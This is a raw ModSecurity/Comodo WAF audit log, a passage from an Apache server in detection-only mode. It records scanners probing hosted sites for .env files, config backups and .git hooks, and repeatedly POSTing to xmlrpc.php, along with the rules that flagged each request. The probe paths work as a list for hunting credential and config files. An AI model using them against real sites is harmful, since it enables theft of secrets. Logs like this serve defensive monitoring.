Connection: close Content-Type: text/html; charset=UTF-8 --23d0df1e-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".py.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".py.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/settings.py.bak"] [unique_id "aE82Fov0YhcYGG7mzIpn4wAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021654646606 671669 (- - -) Stopwatch2: 1750021654646606 671669; combined=1723, p1=345, p2=1285, p3=0, p4=0, p5=92, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --23d0df1e-Z-- --0f550802-A-- [16/Jun/2025:02:37:51.236058 +0530] aE82Js0RsCO0eBtdhx7BDQAAAAg 128.199.112.101 54774 127.0.0.1 7081 --0f550802-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --0f550802-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --0f550802-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE82Js0RsCO0eBtdhx7BDQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021670308008 928117 (- - -) Stopwatch2: 1750021670308008 928117; combined=2533, p1=431, p2=1668, p3=48, p4=76, p5=191, sr=114, sw=119, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0f550802-Z-- --c360d419-A-- [16/Jun/2025:02:38:37.078427 +0530] aE82VDW73rwPI0SU-ijwpQAAAAA 185.177.72.210 57858 127.0.0.1 7081 --c360d419-B-- GET /_framework/_bin/WebAssembly.Bindings.dll HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c360d419-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ad744bd5cd2864b8036c5623ff23ba101750021716; expires=Sun, 15 Jun 2025 22:08:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c360d419-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bindings.dll"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bindings.dll"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/_framework/_bin/WebAssembly.Bindings.dll"] [unique_id "aE82VDW73rwPI0SU-ijwpQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021716410553 667940 (- - -) Stopwatch2: 1750021716410553 667940; combined=1883, p1=325, p2=1446, p3=0, p4=0, p5=112, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c360d419-Z-- --72623757-A-- [16/Jun/2025:02:38:44.873147 +0530] aE82XFfWRcme38U-qk7qUgAAAAI 185.177.72.210 46658 127.0.0.1 7081 --72623757-B-- GET /backup.inc.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --72623757-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=28504fc07df937903df414215657d6e11750021724; expires=Sun, 15 Jun 2025 22:08:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --72623757-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/backup.inc.old"] [unique_id "aE82XFfWRcme38U-qk7qUgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021724208495 664728 (- - -) Stopwatch2: 1750021724208495 664728; combined=2037, p1=406, p2=1538, p3=0, p4=0, p5=92, sr=108, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --72623757-Z-- --25f1a31b-A-- [16/Jun/2025:02:38:45.939181 +0530] aE82XYl8S04UZ4l67-navAAAAAk 185.177.72.210 46702 127.0.0.1 7081 --25f1a31b-B-- GET /tests/drupal-test/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --25f1a31b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f054513b18bd849f64eac1658df0df681750021725; expires=Sun, 15 Jun 2025 22:08:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --25f1a31b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/tests/drupal-test/.env"] [unique_id "aE82XYl8S04UZ4l67-navAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021725267023 672255 (- - -) Stopwatch2: 1750021725267023 672255; combined=1857, p1=408, p2=1324, p3=0, p4=0, p5=124, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --25f1a31b-Z-- --9c963676-A-- [16/Jun/2025:02:38:51.107801 +0530] aE82YnwizUED0-SK4eRJqAAAAAE 128.199.112.101 45720 127.0.0.1 7081 --9c963676-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --9c963676-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --9c963676-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE82YnwizUED0-SK4eRJqAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021730194738 913119 (- - -) Stopwatch2: 1750021730194738 913119; combined=2043, p1=366, p2=1318, p3=44, p4=54, p5=162, sr=107, sw=99, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9c963676-Z-- --edb52c68-A-- [16/Jun/2025:02:39:06.385374 +0530] aE82cU-pZ3B--SoGku86bAAAABE 185.177.72.210 58582 127.0.0.1 7081 --edb52c68-B-- GET /bak/config.php.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --edb52c68-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=870017ad945bef0cd1e766135f148ffc1750021746; expires=Sun, 15 Jun 2025 22:09:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --edb52c68-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/bak/config.php.bak"] [unique_id "aE82cU-pZ3B--SoGku86bAAAABE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021745680127 705338 (- - -) Stopwatch2: 1750021745680127 705338; combined=2050, p1=378, p2=1543, p3=0, p4=0, p5=128, sr=129, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --edb52c68-Z-- --7a746b36-A-- [16/Jun/2025:02:39:50.992558 +0530] aE82nov0YhcYGG7mzIpoHgAAABU 128.199.112.101 35872 127.0.0.1 7081 --7a746b36-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 489 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --7a746b36-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --7a746b36-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE82nov0YhcYGG7mzIpoHgAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021790011303 981324 (- - -) Stopwatch2: 1750021790011303 981324; combined=2337, p1=344, p2=1512, p3=46, p4=62, p5=221, sr=89, sw=152, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7a746b36-Z-- --7afa5002-A-- [16/Jun/2025:02:40:20.692356 +0530] aE82u80RsCO0eBtdhx7BSQAAAAg 20.198.243.91 43656 127.0.0.1 7081 --7afa5002-B-- GET /.env HTTP/1.0 Host: www.thecreatorpreneur.in X-Real-IP: 20.198.243.91 X-Accel-Internal: /internal-nginx-static-location Connection: close User-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --7afa5002-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://www.thecreatorpreneur.in/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 15780 Connection: close Content-Type: text/html; charset=UTF-8 --7afa5002-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.thecreatorpreneur.in"] [uri "/.env"] [unique_id "aE82u80RsCO0eBtdhx7BSQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/thecreatorpreneur.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021819178478 1513973 (- - -) Stopwatch2: 1750021819178478 1513973; combined=1910, p1=364, p2=1465, p3=0, p4=0, p5=80, sr=75, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7afa5002-Z-- --1a677179-A-- [16/Jun/2025:02:40:25.089262 +0530] aE82v0-pZ3B--SoGku86jQAAABE 20.198.243.91 33744 127.0.0.1 7081 --1a677179-B-- GET /sendgrid/.env HTTP/1.0 Host: www.thecreatorpreneur.in X-Real-IP: 20.198.243.91 X-Accel-Internal: /internal-nginx-static-location Connection: close User-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --1a677179-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://www.thecreatorpreneur.in/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 15780 Connection: close Content-Type: text/html; charset=UTF-8 --1a677179-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.thecreatorpreneur.in"] [uri "/sendgrid/.env"] [unique_id "aE82v0-pZ3B--SoGku86jQAAABE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/thecreatorpreneur.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021823838410 1250932 (- - -) Stopwatch2: 1750021823838410 1250932; combined=2009, p1=451, p2=1468, p3=0, p4=0, p5=89, sr=113, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1a677179-Z-- --4d516c51-A-- [16/Jun/2025:02:40:31.273618 +0530] aE82xs0RsCO0eBtdhx7BTgAAAAg 185.177.72.210 48430 127.0.0.1 7081 --4d516c51-B-- GET /_vti_bin/_vti_aut/dvwssr.dll HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4d516c51-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=431900e4e6c6dd8f6fd308d9a88539fc1750021831; expires=Sun, 15 Jun 2025 22:10:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4d516c51-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dll"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dll"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/_vti_bin/_vti_aut/dvwssr.dll"] [unique_id "aE82xs0RsCO0eBtdhx7BTgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021830557185 716508 (- - -) Stopwatch2: 1750021830557185 716508; combined=2529, p1=445, p2=1985, p3=0, p4=0, p5=98, sr=120, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4d516c51-Z-- --670c243e-A-- [16/Jun/2025:02:40:34.326971 +0530] aE82yTW73rwPI0SU-ijw1wAAAAA 185.177.72.210 48582 127.0.0.1 7081 --670c243e-B-- GET /v1/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --670c243e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cc7740cddd725590d0cfdf93ac68b9dc1750021834; expires=Sun, 15 Jun 2025 22:10:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --670c243e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/v1/.env"] [unique_id "aE82yTW73rwPI0SU-ijw1wAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021833603577 723457 (- - -) Stopwatch2: 1750021833603577 723457; combined=1865, p1=410, p2=1357, p3=0, p4=0, p5=97, sr=108, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --670c243e-Z-- --e7168e7e-A-- [16/Jun/2025:02:40:51.107128 +0530] aE822ov0YhcYGG7mzIpoOAAAABU 128.199.112.101 51670 127.0.0.1 7081 --e7168e7e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 502 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --e7168e7e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --e7168e7e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE822ov0YhcYGG7mzIpoOAAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021850126780 980419 (- - -) Stopwatch2: 1750021850126780 980419; combined=2504, p1=394, p2=1618, p3=52, p4=77, p5=223, sr=121, sw=140, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e7168e7e-Z-- --ff79b63a-A-- [16/Jun/2025:02:40:52.439279 +0530] aE8222BSQiWwwCa-v2QEyQAAAAQ 185.177.72.210 51750 127.0.0.1 7081 --ff79b63a-B-- GET /.git/hooks/post-update HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ff79b63a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1b3db806f16972feb0817783592a708d1750021852; expires=Sun, 15 Jun 2025 22:10:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ff79b63a-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname 